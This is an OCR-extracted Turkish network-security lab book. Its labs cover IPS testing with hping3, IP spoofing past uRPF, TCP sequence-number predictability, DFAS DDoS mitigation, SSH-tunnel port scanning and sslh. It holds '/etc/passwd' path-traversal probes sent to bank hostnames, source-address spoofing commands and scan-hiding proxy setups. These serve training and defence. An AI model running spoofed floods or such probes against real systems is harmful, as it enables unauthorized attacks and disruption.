Hedef sisteme SYN bayrakl paket icerisinde veri gonderilebildigi belirlendi. Bu asamada
gonderilen verinin icerigiyle oynayarak IPS’in tetiklenmesini saglamaya calisilacaktir.
Eger IPS oturum kurulmamis TCP baglantilarini takip edip IPS imzalarin ¢alistirtyorsa bu

o IPS’in iyi yapilandirilamadigi anlamina gelir.
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Hedef sistemdeki IPS’i tetiklemek icin gonderilen veri parcgasi

root@seclabs:~# cat test2

GET /etc/passwd HTTP/1.0

root@seclabs:~# hping3 -p 80 -S www.bankl.com.tr -d 100 -E test2

HPING www.bankl.com.tr (eth0 1.2.3.4): S set, 40 headers + 100 data bytes

[main] memlockall(): Success

Warning: can’t disable memory paging!

len=46ip=1.2.3.4 tt]=53 id=13 sport=80 flags=RA seq=0 win=4096 rtt=12.4 ms

len=46 ip=1.2.3.4 ttl=53 id=13 sport=80 flags=RA seq=1 win=4096 rtt=11.9 ms

len=46ip=1.2.3.4 tt]=53 id=13 sport=80 flags=RA seq=2 win=4096 rtt=12.8 ms

Bazi IPS’ler sadece /etc/passwd gectiginde kizmaz, bunun yerine ../../etc/passwd gibi bir

ifade konuldugunda imzalarini devreye sokar.

hedefe payload olarak gonderilen test2 dosyasiicerigi
GET /etc/passwd HTTP/1.0

hedefe payload olarak gonderilen test3 dosyasi igerigi
GET ../..//etc/passwd HTTP/1.0

GET /etc/passwd HTTP/1.0'e kizmayan fakat GET ../././etc/passwd HTTP/1.0 IPS

Davranisi

root@seclabs:~# hping3 -p 80 -S www.bank2.com.tr -d 100 -E test2
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HPING www.bank2.com.tr (eth0 4.5.6.7): S set, 40 headers + 100 data bytes

[main] memlockall(): Success

Warning: can’t disable memory paging!

len=46ip=4.5.6.7 tt1=247 DF id=37297 sport=80 flags=SA seq=0 win=8190 rtt=3.6 ms

len=46ip=4.5.6.7 tt1=247 DF id=64305 sport=80 flags=SA seq=1 win=8190 rtt=3.7 ms

len=46 ip=4.5.6.7 ttl=247 DF id=16772 sport=80 flags=SA seq=2 win=8190 rtt=3.4 ms

~C

— www.bank2.com.tr hping statistic —

3 packets tramitted, 3 packets received, 0% packet loss

round-trip min/avg/max = 3.4/3.6/3.7 ms

root@seclabs:~# hping3 -p 80 -S www.bank2.com.tr -d 100 -E test3

HPING www.bank2.com.tr (eth0 4.5.6.7): S set, 40 headers + 100 data bytes

[main] memlockall(): Success

Warning: can’t disable memory paging!

len=46 ip=4.5.6.7 tt1=57 id=13 sport=80 flags=RA seq=0 win=4096 rtt=3.2 ms

len=46 ip=4.5.6.7 tt]=57 id=13 sport=80 flags=RA seq=1 win=4096 rtt=3.1 ms

len=46 ip=4.5.6.7 tt1=57 id=13 sport=80 flags=RA seq=2 win=4096 rtt=3.2 ms
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Uygulama No: BGA-UAG-83

Hping Kullanarak URPF Korumali Aglarda IP Spoofing

Amag: Hping araci ile URPF korumali aglarda sahte ip liretimi

URPF(Unicast Reverse Path Forwarding) ag ve gilivenlik cihazlarinda IP spoofing’le

miicadele etmeKk icin kullanilan bir 6zelliktir.

Basitce URPF paketin kaynak ip adresinin yonlendirme tablosu ile karsilastirilmasi
sonucu paketin uygun arabirimden gelip gelmediginin kontrol eder. URPF, internetten
gelecek paketler i¢in degil, giivenlik/network cihaz tarafindan korunan sistemler icin

gecerlidir.

DDoS testleri gerceklestirilirken genellikle test yapilan agin ¢ikisindaki bir ag/giivenlik
cihaz1 iretilen sahte ip paketlerini URPF'den (ya da benzeri bir 6zellikten) dolay
engelliyor olabilir. Bu gibi durumlarda DDoS testlerinde tretilen paketler internete
cikamayacag icin hedef sisteme etkisi olmayacaktir. Bu gibi ortamlarda gonderilecek
paketler kullanilan sistemle ayni subnetten liretilirse (mesela DDoS testi icin kullanilan
sistemin ip adresi 192.168.1.3/24 olsun, burada 192.168.1.0/24 subnetinden rastgele ip

kullanilabilir) URPF’e takilmadan hedef sisteme erisecektir.

DDoS testlerinde yogun kullanilan Hping, network testleri icin kullanilan acik kaynak
kodlu bir yazilimdir. Ozellikle -rand-source parametresi ile kaynak ip adreslerinin

degisken olmasi saglanabilmektedir.

Ancakistenen ip adres blogundan kaynak paketlerin gonderilebilmesi hping ile on tanimli
olarak saglanamamaktadir. BGA ekibinden Omer Albayrak tarafindan gelistirilen yama
ile bu ozellik -rand-pattern-source parametresi ile saglanabilmektedir. Ilgili yamanin

uygulanmasi ve sonrasinda kullanimina dair ayrintilar asagida anlatilmaktadir.
Kurulum 6ncesi sistem gereksinimleri:

- tcl paketleri kurulu olmasi lazim.
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apt-get install tcl8.4 tcl8.4-dev

- libpcap icin bir symbolic link atmak gerekiyor.

mkdir /usr/local/include/net
In -sf /usr/include/pcap-bpf.h /usr/local/include/net/bpf.h

# wget http://www.hping.org/hping3-20051105.tar.gz
# wget http://cvs.bga.com.tr/hping-rand-pattern.patch
# tar -zxvf hping3-20051105.tar.gz

# cd hping3-20051105/

# patch -p1 -i../hping-rand-pattern.patch

# ./configure; make; make install

Gerekli yamanin uygulanmasinin ardindan kurulum islemi tamamlanir ve -rand-pattern-
source parametresi ile istenilen ip blogundan paketler gonderilebilmektedir. Ornegin
127.0.0.1 hedefinin tcp/3737 portuna 192.168.x.x kaynak ip adres blogundan paket
gondermek icin;

# hping3 -c 3-S -p 3737 127.0.0.1 -rand-pattern-source 192.168.x.x

seklinde bir kullanim gerekmektedir. Ilgili paketlere ait tcpdump ciktisi ise asagida
goruldugu gibi olmaktadir.

# tcpdump -tttnn -ilo port 3737
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 65535 bytes

00:00:00.000000 IP 192.168.111.137.1193 > 127.0.0.1.3737: Flags [S], seq 969737665, win
512, length 0

00:00:00.000019 1P 127.0.0.1.3737 >127.0.0.1.1193: Flags [R], seq 0, ack 969737666, win 0,
length 0

00:00:01.000134 IP 192.168.108.254.1194 > 127.0.0.1.3737: Flags [S], seq 1919278313, win
512, length 0

BGA Bilgi Giivenligi A.S. | www.bgasecurity.com | @BGASecurity



http://www.bgasecurity.com/
https://twitter.com/bgasecurity
http://www.hping.org/hping3-20051105.tar.gz
http://cvs.bga.com.tr/hping-rand-pattern.patch

[UYGULAMALI AG GUVENLIGI EGiTiMi LAB CALISMALARI]

00:00:00.000022 1P 127.0.0.1.3737 > 127.0.0.1.1194: Flags [R], seq 0, ack 1919278314, win
0, length 0

00:00:01.000108 1P 192.168.174.173.1195 > 127.0.0.1.3737: Flags [S], seq 1078569436, win
512, length 0

00:00:00.000022 1P 127.0.0.1.3737 >127.0.0.1.1195: Flags [R], seq 0, ack 1078569437, win
0, length 0

Goruldugu gibi 192.168.111.137, 192.168.108.254 ve 192.168.174.173 kaynak ip
adreslerinden paketler gelmektedir. Yine ayni sekilde 127.0.0.1 hedef sunucusunun
tcp/3737 portuna 192.x.x.37 kaynak ip adres blogundan paket gondermek icin;

# hping3 -c 3-S-p 3737 127.0.0.1 -rand-pattern-source 192.x.x.37

seklinde bir kullanim gerekmektedir. Ilgili paketlere ait tcpdump ciktisi ise asagida
goruldugu gibi olmaktadir.

# tcpdump -tttnn -ilo port 3737
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 65535 bytes

00:00:00.000000 IP 192.181.54.37.1956 >127.0.0.1.3737: Flags [S], seq 119506247, win 512,
length 0

00:00:00.000014 IP 127.0.0.1.3737 > 127.0.0.1.1956: Flags [R.], seq 0, ack 119506248, win 0,
length 0

00:00:01.000141 1P 192.27.215.37.1957 >127.0.0.1.3737: Flags [S], seq 556719496, win 512,
length 0

00:00:00.000020 IP 127.0.0.1.3737 > 127.0.0.1.1957: Flags [R], seq 0, ack 556719497, win 0,
length 0

00:00:01.000126 1P 192.73.27.37.1958 > 127.0.0.1.3737: Flags [S], seq 1832818380, win 512,
length 0
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00:00:00.000021 1P 127.0.0.1.3737 > 127.0.0.1.1958: Flags [R], seq 0, ack 1832818381, win
0, length 0

Goruldugu gibi 192.181.54.37, 192.27.215.37 ve kaynak ip adreslerinden paketler
gelmektedir. Tamamen degisken kaynak ip adresleri uretmek icin ise -rand-pattern-
source x.x.x.Xx kullanilamamaktadir. Hping ile on tanimli saglanan bu ozellik -rand-source
parametresi araciligi ile gerceklestirilmektedir. Bu sekilde kullanildiginda ise asagidaki
gibi uyari alinacaktir.

# hping3 -c 3-S -p 3737 127.0.0.1 -rand-pattern-source x.X.x.X
HPING 127.0.0.1 (lo 127.0.0.1): S set, 40 headers + 0 data bytes

Try -rand-source yeah

Yine ayni sekilde hem -rand-pattern-source ve -rand-source parametreleri ayni anda
kullanilamamaktadir. Bu durumda asagidaki gibi uyari mesaji alinacaktir.

# hping3 -c¢ 3 -S-p 3737 127.0.0.1 -rand-pattern-source 127.x.x.x —-rand-source

Not use both -rand-pattern-source && -rand-source options !

Kisaca bu yama ile hping istenen kaynak ip adresi yada ip adres blogundan istenen
paketleri uretebilmektedir. Ozellikle network testlerinde kullanilan bu yontem hping ile
gerceklestirilebilmektedir.
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Uygulama No: BGA-UAG-84

GUndmuz Internet Dinyasinda IP Spoofing

Amag: IP Spoofing kavraminin anlasilmasi

Gilinlimiz internet diinyasmin temelini TCP/IP protokol ailesi olusturmaktadir. TCP/IP
ailesi OSI katmanina benzer sekilde katmanl bir yapidadir. Her bir katman bir st
katmana karsi sorumludur ve her katman barindirdig1 6zelliklerle diger katmanlarin
tamamlayicis1 olur. Mesela Network katmanindaki Internet Protocolii(IP)'nin hata

kurtarma mekanizmasi olmadig i¢cin ICMP’den destek alir.

Butamamlama 6zelliklerinden en 6nemli biri de IP katmanindaki adres sahteciligine karsi
Transport katmaninda yer alan TCP’nin tahmin edilmesi gili¢ sira -onay numaralan

barindirmasi 6zelligidir.
IP Spoofing Nedir?

Istenilen IP adresinden TCP/IP paketleri (tcp, udp, ip, icmp, http, smtp, dns vb.)
gonderebilme islemine IP spoofing , ip sahteciligi denir. Sahte ip paketini alan taraf

paketin gercekten gonderilen ip adresinden gelip gelmedigini bilemez.

Genellikle internet diinyasinda ip spoofing denildiginde baskasinin ip adresinden mail
gondermek, bir foruma mesaj yazmak islemleri gelmektedir. Bu tip islemler teorik olarak
miimkiin olsa da giiniimiiz internet diinyasinda pratik olarak baskasinin ip adresinden
geliyormus gibi mail génderme, web sayfasina baglanma islemleri gerceklestirilemez

(*hedefip adresinin calistig1 sistem ele gecirilmeden)
IP Spoofing Uygulamasi

[P spoofing yapabilmek icin c¢esitli ticretsiz/acik kaynak kod/ticari yazilimlar
bulunmaktadir. Bunlar arasinda en sik tercih edilenlerden birisi hping'dir. hping

kullanarak istenilen 6zelliklerde ip paketi tretilebilir.

hping -a sahte_ip_adresi -p 80 -S www.bga.com.tr
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komutuyla BGA.com.tr makinesinin 80. portuna TCP SYN paketi gonderilmektedir.

Popiiler ag kesif yazimi Nmap’in Decoy Scan(-D) 06zelligi kullanilarak sahte ip
adreslerinden porttarama gergeklestirilebilir. Butarama tipinde aynitarama 5, 10 (istege
bagl) farkli ip adresinden geliyormus gibi goziikecektir. Tarama yapiyor goziiken ip
adreslerinden bir tanesi de gercek ip adresidir fakat hangisinin gercek hangisinin sahte

oldugu anlasilamaz.
Giiniimiizde IP Spoofing Yapilabilir mi?

Teorik olarak IP spoofing tiim protokollerde gerceklestirilebilir. Pratik olarak IP spoofing
UDP kullanan uygulamalarda

gerceklestirilebilirken TCP tabanli uygulama seviyesi protokollerinde (HTTP, SMTP,
FTP..) gerceklestirilemez. Bunun temel nedeni TCP

baslik bilgisinde yer alan sira numaralarinin tahmin edilemez sekilde tiretilmesidir. TCP,
baglanti kurulmadan 6nce her iki u¢ arasinda tgli el sikisma islemini tamamlamay1
zorunlu kildig1 i¢cin bu asamalari gegmedeniki u¢ arasinda veritransferi normalyollardan

gerceklestirilemez.

TCP Bashik Degerleri

1197810500, Ack: 1016160500, Len: 52
Source port: 51917 (51917)

Destination port: https (443)

[Stream index: 0]

Sequence number: 1197810500

[Next sequence number: 1197810552]

Acknowledgement number: 1016160500

Transmission Control Protocol, Src Port: 51917 (51917), Dst Port: https (443), Seq:
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Header length: 20 bytes

Flags: 0x18 (PSH, ACK)

000..... ... =Reserved: Not set
...0 .... ... = Nonce: Not set
S | T = Congestion Window Reduced (CWR): Not set

... .0.. .... = ECN-Echo: Not set
..0. ... = Urgent: Notset
....... 1 .... = Acknowledgement: Set
« . 1...= Push: Set
. . .0 = Reset: Notset
v o 0. = Syn: Notset
........... 0 = Fin: Not set
Window size value: 15524
[Calculated window size: 15524]
[Window size scaling factor: -1 (unknown)]
Checksum: 0x4b0e [validation disabled]
[Good Checksum: False]
[Bad Checksum: False]
[SEQ/ACK analysis]
[This is an ACK to the segmentin frame: 70]
[The RTT to ACK the segment was: 0.179202000 seconds]

[Bytes in flight: 52]
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TCP tabanli protokollerde sadece baglantiy1 baslatma istekleri (SYN bayrakli paketler) ve
bagimsiz TCP paketleri (FIN, ACK, PUSH bayraklari paketler) gonderilebilir.

IP Spoofing Nerelerde Kullanilmaktadir?

[P spoofing giinlimiiz siber diinyasinda yogunlukla DDoS saldirilarinda kullanilmaktadir.
DDoS saldirilarinin da statefull olmayan protokollerle gerceklestirilen boliimiinde
gecerlidir. Yani HTTP GET flood sahte ip adreslerinden gerceklestirilemez. Ama SYN flood,
ACK flood, UDP Flood, DNS flood gibi saldirilar sahte ip adreslerindne gergeklestirilebilir.

Bunun haricinde ip spoofing saldirilar1 UDP tabanli protokollerdeki ip adresi

siirlamasini asmak icin de kullanilmaktadir.
IP Spoofing Nasil Engellenebilir?

URPF kullanilarak ISP seviyesinde sistemlerin kendilerine atanan IP adresinden farkl bir

[P adresini kullanarak paket gondermeleri engellenebilir.

Sahte IP adresiile gelen paketleri paketlerin ulastigli noktada engellenemez. Ancak Syn
Proxy, Syn cookie gibi yontemler kullanilarak TCP i¢in tgli el sikismay1r tamamlamay:
basaramayan paketlerin u¢ noktalardan i¢ noktalara(sunuculara, sistemlere) ge¢cmesi

engellenebilir.
Teknik Olarak IP Spoofing Detaylari

TCP protokoliinde baglanti kurulmasinda 6nce tiglii el sikismasi tamamlanmalidir. Sahte
bir IP adresiile tic¢lii el sikismasinin tamamlanabilmesi icin TCP baslik bilgisinde yer alan
32 bitlik sira numarasi (ISN) tahmin edilebilir olmas1 gerekmektedir. Gliniimiiz isletim
sistemlerinin hemen hepsinde bu deger yeteri kadar rastgele olacak sekilde
tretilmektedir. Bu degerin tahmin edilebilir olmas1 TCP kullanan uygulamalarda IP

spoofing yapilabilir demektir.
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Bir isletim sisteminin tirettigi sira numaralarinin tahmin edilebilir olup olmadigini
anlamak i¢cin Wireshark, Hping gibi araclar kullanilabilir. Hping dogrudan hedef sistemin
Urettigi sira numaralarinin rastgeleligini 6l¢cmek icin parametre barindirmaktadir (-

seqnum)
Rastgele (random) ISN Degerleri Ureten Isletim Sistemi

Sol taraftaki siitun hedef sistemin iirettigi ISN(sira numarasi) degeridir. Sag taraftaki
sltun ise tretilen iki ISN arasindaki farktir. Eger iki ISN arasindaki fark tahmin edilebilir

bir deger ise hedef sisteme yonelik ip spoofing gerceklestirilebilir demektir.

# hping -seqnum -S -p 80 www.microsoft.com -c 10
HPING www.microsoft.com (eth0 65.55.12.249): S set, 40 headers + 0 data bytes
1306812782 +1306812782

933497350 +3921651863

3318944478 +2385447128

300763979 +1276786796

496111299 +195347320

2835844375 +2339733076

630198047 +2089320967

1348279774 +718081727

3985307544 +2637027770

3677817908 +3987477659

Rastgele (random) ISN Degerleri Uretmeyen Isletim Sistemi

root@bt:~# hping3 -seqnum -p 80 -S 192.168.1.1 -c 50
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HPING 192.168.1.1 (eth2 192.168.1.1): S set, 40 headers + 0 data bytes

4243283968

4247379968

4251475968

4255571968

3988881408

4259667968

4263682048

4267778048

4271915008

4276011008

4280066048

3988881408

4284162048

4288258048

4292354048

+4243283968

+4096000

+4096000

+4096000

+4028276735

+270786560

+4014080

+4096000

+4136960

+4096000

+4055040

+4003782655

+295280640

+4096000

+4096000

1482752 +4095999

5578752 +4096000

9633792 +4055040
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3988881408 +3979247616

13729792 +319815679

17825792 +4096000

21921792 +4096000

26017792 +4096000

30113792 +4096000

34168832 +4055040

3988881408 +3954712576

38264832 +344350719

42360832 +4096000

46456832 +4096000

50470912 +4014080

54566912 +4096000

58662912 +4096000

3988881408 +3930218496

62758912 +368844799

66854912 +4096000

70950912 +4096000

75046912 +4096000
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79101952 +4055040

83197952 +4096000

3988881408 +3905683456

87334912 +393420799

3988881408 +3901546496

3988881408 +0

91348992 +397434879

3988881408 +3897532416

95444992 +401530879

99540992 +4096000

103636992 +4096000

107732992 +4096000

111828992 +4096000

— 192.168.1.1 hping statistic —

41 packets tramitted, 50 packets received, -21% packet loss

round-trip min/avg/max = 1.3/2.7/6.9 ms
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ISN degerlerini yeteri kadar rastgele liretmeyen ip adresinin hangi isletim sistemi

tzerinde kostugu bilgisi.

root@bt:~# nmap -0 192.168.1.1

Starting Nmap 5.51 ( http://nmap.org ) at 2011-11-02 08:00 EDT

Nmap scan report for 192.168.1.1

Host is up (0.037s latency).

Not shown: 996 closed ports

PORT STATE SERVICE

21/tcp open ftp

23/tcp open telnet

80/tcp open http

8080/tcp filtered http-proxy

MAC Address: 00:23:F8:A:C:F (ZyXEL Communications)

Device type: firewall

Running: ZyXEL ZyNOS 3.X

OS details: ZyXEL ZyWALL 2 fire
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Uygulama No: BGA-UAG-85

DDOS Engellemede DFAS Yontemi

Amac: DFAS Yontemiile DDOS Engeleme

Her saldir1 tipi i¢in kabul gormiis standart yontemler vardir. Mesela SYN Flood
saldirilarina kars: genellikle SYN cookie veya Syn proxy yontemi tercih edilir. HTTP GET

Flood saldirilarina karsi rate limiting, http user-agent kontrolii vs kullanilir.

TCP uzerinden gerceklestirilecek olan DDoS saldirilarini engellemek goreceli olarak daha
kolaydir diyebiliriz. Bunun temel nedeni TCP {izerinden yapilacak saldirilarda
saldirganin gercek ip adresle mi yoksa sahte adresle mi saldirip saldirmadiginin

anlasabiliyor olmasidir(basit mantik 3'li el sikismay1 tamamliyorsa ip gergektir).

UDP ilizerinden gercgeklestirilecek DDoS saldirilarini (udp flood, dns flood vs)engellemek
saldir1 gerceklestiren ip adreslerinin gercek olup olmadigini anlamanin kesin bir yolu
olmadig i¢cin zordur. UDP kullanarak gerceklestirilen saldirilarda genellikle davranigsal
engelleme yontemleri ve ilk paketi engelle ikinci paketi kabul et(dfas) gibi bir yontem

kullanilir.
DFAS yonteminin temeli

TCP ya da UDP ilk gelen paket i¢cin cevap verme ayni paket tekrar gelirse pakete uygun

cevap ver ve ilgili ip adresine ait oturumu

tutmaya basla veya ilk pakete hatali cevap don(sira numarasi yanhs SYN-ACK) ve karsi
taraftan RST gelmesini bekle.

DFAS yontemi gelen giden tiim paketler i¢in degil saldir1 aninda ilk paketler igin
gerceklestirilir.

IP 1.2.3.4.51798 > 5.6.7.8.53: 53698+ A? www.example.com. (37)
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IP 5.6.7.8.53 > 1.2.3.4.51798: 53698 ServFail-0/0/0 (37)

IP 1.2.3.4.34623 > 5.6.7.8.53: 61218+ A? www.example.com (37)

IP 5.6.7.8.53 >1.2.3.4.34623: 61218*-1/0/0A 1.21.2.72 (53)

DNS ve TCP iliskisi

DNS paketleri 512 byte’1 gegmedigi muddetce UDP iizerinden tasinabilir. 512 byte’1 asan

DNS cevaplar1 UDP ilizerinden tasinamayacagi icin TCP kullanilir.

Cevabin 512 Byte’dan fazla oldugu ve TCPiizerinden tasinmasi gerektigini istemci DNS
paketine ait baslk bilgisine bakarak anlamaktadir.

Asagidaki gibi DNS paketinde Truncated=1 olmasi durumunda dnsisteginde bulunanayni

istegi TCP/53 lizerinden yapmay1 deneyecektir.

Domain Name System (response)
[RequestIn: 1]

[Time: 0.152073000 seconds]
Transaction ID: 0x28b3

Flags: 0x8380 (Standard query response, No error)

1o = Response: Message is a response
.0000... ... ... = Opcode: Standard query (0)
...0.. .... ... = Authoritative: Server is notan authority for domain
...1l. ... ... =Truncated: Message is truncated
....... 1.... ... =Recursion desired: Do query recursively
v Lo = Recursion available: Server can do recursive queries
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w0 ... =Z: reserved (0)

. ..0. .... = Answer authenticated: Answer/authority portion was not authenticated by

the server

EDNS destekli DNS sunucularda dns cevaplar1 ~4000 Byte olabilir.

Asagidaki 6rnekte saldir1 altindaki sisteme gonderilen DNS istegi 6ncelikle truncated

mesajl ile TCP’e ¢evriliyor.

Ardindan istemcinin gonderdigi TCP istegine DDoS engelleme sistemi tarafindan hatah
bir cevap doniilerek karsi taraftan RST paketi bekleniyor ve RST paketi alindiktan sonra

ip adresinin gercek oldugu belirlenerek paketlere izin veriliyor.

[root@netdos1 ~]# tcpdump -i emO -tn host 5.6.7.8

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on emO, link-type EN10MB (Ethernet), capture size 96 bytes

IP 1.2.3.4.19399 > 5.6.7.8.53: 8818+ A? www.example.com (37)

IP 5.6.7.8.53 > 1.2.3.4.19399: 8818*| 0/0/0 (37)

I[P 1.2.3.4.34096 > 5.6.7.8.53: Flags [S], seq 3183103590, win 65535, options [mss
1460,nop,wscale 3,5sackOK,TS val 4045396826 ecr 0],length 0

IP 5.6.7.8.53 > 1.2.3.4.34096: Flags [S.], seq 4110155774, ack 3060256364, win 65535,
options [mss 1460,nop,wscale 3,sackOK,TS val4045396826 ecr 0], length 0

[P 1.2.3.4.34096 > 5.6.7.8.53: Flags [R], seq 3060256364, win 0, length 0

I[P 1.2.3.4.34096 > 5.6.7.8.53: Flags [S], seq 3183103590, win 65535, options [mss
1460,nop,wscale 3,sackOK,TS val 4045399827 ecr 0],length 0
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IP 5.6.7.8.53 > 1.2.3.4.34096: Flags [R.], seq 184811522,ack 122847228, win 0, length 0

Asagidaki yontem TCP tlizerinden DFAS’1 6rneklemektedir. Saldir1 aninda gergek ip
adresinden gonderilen ilk istege sistem cevap donmemektedir. Bir miiddet sonra
istemcinin bilgisayar1 ayni istegi ayn1 6zellikte paketle tekrar iletmekte ve bu sefer DDoS

sistemi devreye girerek cevap vermekte ve baglantiya izin vermektedir.

[root@netdos1 ~]# tcpdump -i emO -tn -v host 7.8.9.10
tcpdump: listening on em0, link-type EN10MB (Ethernet), capture size 96 bytes

IP 1.2.3.4.57084 > 7.8.9.10.80: Flags [S], cksum 0xd2d2 (correct), seq 3257462929, win
65535, options [mss 1460,nop,wscale

3,5ackOK,TS val 3951592577 ecr 0], length 0

IP 1.2.3.4.57084 > 7.8.9.10.80: Flags [S], cksum 0xc719 (correct), seq 3257462929, win
65535, options [mss 1460,nop,wscale

3,5ackOK,TS val 3951595578 ecr 0], length 0

[P 7.8.9.10.80 > 1.2.3.4.57084: Flags [S.], cksum 0xc30d (correct), seq 1263297686, ack
3257462930, win 8190, options [mss 1460],length 0

IP 1.2.3.4.57084 > 7.8.9.10.80: Flags [.], cksum Oxfac8 (correct), ack 1, win 65535, length 0
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Uygulama No: BGA-UAG-86

SSH Tiinel Uzerinden Port Tarama

Amag: sssh tiinel baglantisi ile port tarama uygulamasi

Proxy Uzerinden Port Tarama Neden ihtiya¢ Duyurulur?
Temelde iki ihtiyaci karsilar:

Saldirgan/pentester kendi ip adresini gizlemek ister
Saldirgan/pentester internet lizerinden dogrudan ulasamadigi sistemlere
proxy iizerinden ulasabilir(DMZ’de ele gecirilen bir makine iizerindenyerel aga
veya diger sistemlere erisim)
Port tarama islemlerinde eger hedef sistem dogrudan ulasilabilir pozisyonda degilse
araya bir katman ekleyerek onun iizerinden port tarama islemleri gerceklestirilebilir.
Hedef sistem Linux/Windows ve {izerinde SSH sunucu calisiyorsa sistem {izerinde
siradan yetkileri olan bir kullanici haklariyla SSH Tiineli kurularak port tarama islemi

gerceklestirilebilir.

Port tarama islemlerinde SSH’in SOCKS proxy 6zelligi kullanilabilir ya da taranacak her
bir portigin SSH “Local/Remote Port Forwarding ” kullanilabilir.

SSH’in socks prozy 6zelligini kullanmak i¢in OpenSSH istemcilerinde -D parametresi

yeterli olacaktir.
Ornek SOCKS Proxy Kurulumu

ssh -D 8080 bga@seclabs.bga.com.tr

Komutun ardindan hesap bilgileri dogru saglanirsa yerel sistemin 8080 portu uzak
sistemin(seclabs.bga.com.tr)araciligi ile hedefe ulasacak ve donecek cevaplar yine proxy

(seclabs.bga.com.tr) lizerinden yerel makineye ulasacaktir.

Proxy Uzerinden Port Tarama
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Nmap'’in socks proxy destegi yoktur fakat bu gibi durumlarda proxy sarmal yazilimlari
kullanilarak nmap -ya da herhangi bir program- socks proxy kullanacak sekilde

calistirilabilir.

proxy sarmal yazilimlar1 arasindan en bilinenleri proxychains ve tsocks’tir.
Nmap'’i Socks Proxy Uzerinden Kullanmak

Proxychains ayari

proxychains.conf dosyasina asagidaki gibi bir satir eklenmesi yeterli olacaktir.
socks4 127.0.0.1 8080

Port Tarama

Asagidaki komut seclabs.bga.com.tr lizerinden scanme.com adresine port taramasi
gerceklestirmektedir. Yerel agdan seclabs.bga.com.tr adresine kadar olan trafik tamamen
sifreli ve SSH trafigidir. Seclabs.bga.com.tr’'den sonra normal port tarama trafigi olarak
goziikecektir.

root@bga-seclabs:~# proxychains nmap -sTV -PN -n -top-ports 10 scanme.com

ProxyChains-3.1 (http://proxychains.sf.net)

Starting Nmap 5.51 ( http://nmap.org)at 2011-07-02 16:44 EDT

|DNS-request| scanme.com

|S-chain|-<>-127.0.0.1:8080-<><>-4.2.2.2:53-<><>-0K

|DNS-response| scanme.comis 11.200.200.100

failed: Connection timed out

|S-chain|-<>-127.0.0.1:8080-<><>-11.200.200.100:23-<><>-0K

|S-chain|-<>-127.0.0.1:8080-<><>-11.200.200.100:139-channel 2: open failed: connect
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RTTVAR has grown to over 2.3 seconds, decreasing to 2.0

RTTVAR has grown to over 2.3 seconds, decreasing to 2.0

|S-chain|-<>-127.0.0.1:8080-<><>-11.200.200.100:22-<><>-0K

RTTVAR has grown to over 2.3 seconds, decreasing to 2.0

RTTVAR has grown to over 2.3 seconds, decreasing to 2.0

|S-chain|-<>-127.0.0.1:8080-<><>-11.200.200.100:25-channel 4: open failed: connect

failed: Connection timed out

|S-chain|-<>-127.0.0.1:8080-<><>-11.200.200.100:110-channel 2: open failed: connect

failed: Connection timed out

|S-chain|-<>-127.0.0.1:8080-<><>-11.200.200.100:21-channel 3: open failed: connect

failed: Connection timed out

|S-chain|-<>-127.0.0.1:8080-<><>-11.200.200.100:445-channel 2: open failed: connect

failed: Connection timed out

|S-chain|-<>-127.0.0.1:8080-<><>-11.200.200.100:80-<><>-0K

RTTVAR has grown to over 2.3 seconds, decreasing to 2.0

RTTVAR has grown to over 2.3 seconds, decreasing to 2.0

|S-chain|-<>-127.0.0.1:8080-<><>-11.200.200.100:3389-channel 3: open failed: connect

failed: Connection timed out

|S-chain|-<>-127.0.0.1:8080-<><>-11.200.200.100:443-<><>-0K

RTTVAR has grown to over 2.3 seconds, decreasing to 2.0

RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
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|S-chain|-<>-127.0.0.1:8080-<><>-11.200.200.100:22-<><>-0K

|S-chain|-<>-127.0.0.1:8080-<><>-11.200.200.100:23-<><>-0K

|S-chain|-<>-127.0.0.1:8080-<><>-11.200.200.100:80-<><>-0K

|S-chain|-<>-127.0.0.1:8080-<><>-11.200.200.100:443-<><>-0K

channel 4: open failed: connect failed: Connection timed out

|S-chain|-<>-127.0.0.1:8080-<><>-11.200.200.100:443-<><>-0K

|S-chain|-<>-127.0.0.1:8080-<><>-11.200.200.100:443-<><>-0K

Nmap scan report for scanme.com (11.200.200.100)

Hostis up (8.8s latency).

PORT STATE SERVICE VERSION

21/tcp closed ftp

22 /tcp open ssh OpenSSH 5.2p1 (FreeBSD 20090522; protocol 2.0)

23 /tcp open telnet BSD-derived telnetd

25 /tcp closed smtp

80/tcp open http MicrosoftIIS httpd

110/tcp closed pop3

139 /tcp closed netbios-ssn

443 /tcp open ssl/http Microsoft IIS httpd 6.0

445 /tcp closed microsoft-ds
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3389/tcp closed ms-term-serv

Service Info: OSs: FreeBSD, Windows

Service detection performed. Please report any incorrect results

http://nmap.org/submit/ .

Nmap done: 1 IP address (1 hostup) scanned in 108.53 seconds

at

Uygulama No: BGA-UAG-87

Tek Port Uzerinden HTTPS, SSH, OpenVPN Servislerinin Hizmet Vermesi

Amag: sslh uygulamasi ile tek portiizerinde birden fazla servisin calistirilmasi

SSLH araci HTTP, HTTPS, SSH, OpenVPN, tinc, XMPP ve benzeri diger protokollerin ayni
port iizerinden yonlendirme mantig1 ile calismasina imkan saglayan bir aractr. Ornek
verilecek olursa HTTPS protokolii 443 portu lizerinde hizmet verirken diger
protokol(SSH, OpenVPN) yada hizmetlerin ayni1 port iizerinden hizmet sunabilmesi i¢in
imkan sunar.

SSLH ile Yapabileceklerimiz

Temel olarak uzak sunuculara yada sistemlere erismek icin HTTP, HTTPS, SSH, OpenVPN
ve bunlar disinda bir takim protokoller kullanilir.Ama bazi internet saglayicilar1 veya
calistiginiz kurumun giivenlik duvari, HTTP (80) ve HTTPS (443) gibi bazi 6zel portlar
disindaki baglantilara izin vermeyebilir.

Bu iki port haricindeki diger portlarin kapali oldugu bir sisteme ssh ile erismek isterseniz
yapmaniz gereken tek sey 443 portu lzerinden ssh baglantinizi gerceklestirmek
olacaktir. Bunu gerceklestirebilmek icin ise sslh aracini kullanarak 443. port lizerinden
ssh baglantisi gergeklestirebilirsiniz.

Protokol Tespiti

Ilk olarak SSL istemci sunucu ile iletisime gecer.Ornegin, eger ayni port iizerinden SSH
baglantisi gerceklesecek ise dncelik ilk olarak SSL baglantisina aittir.

Baglanti kurulumu esnasinda SSLH gelen verileri analiz eder.Protokolii tespit edebilmek
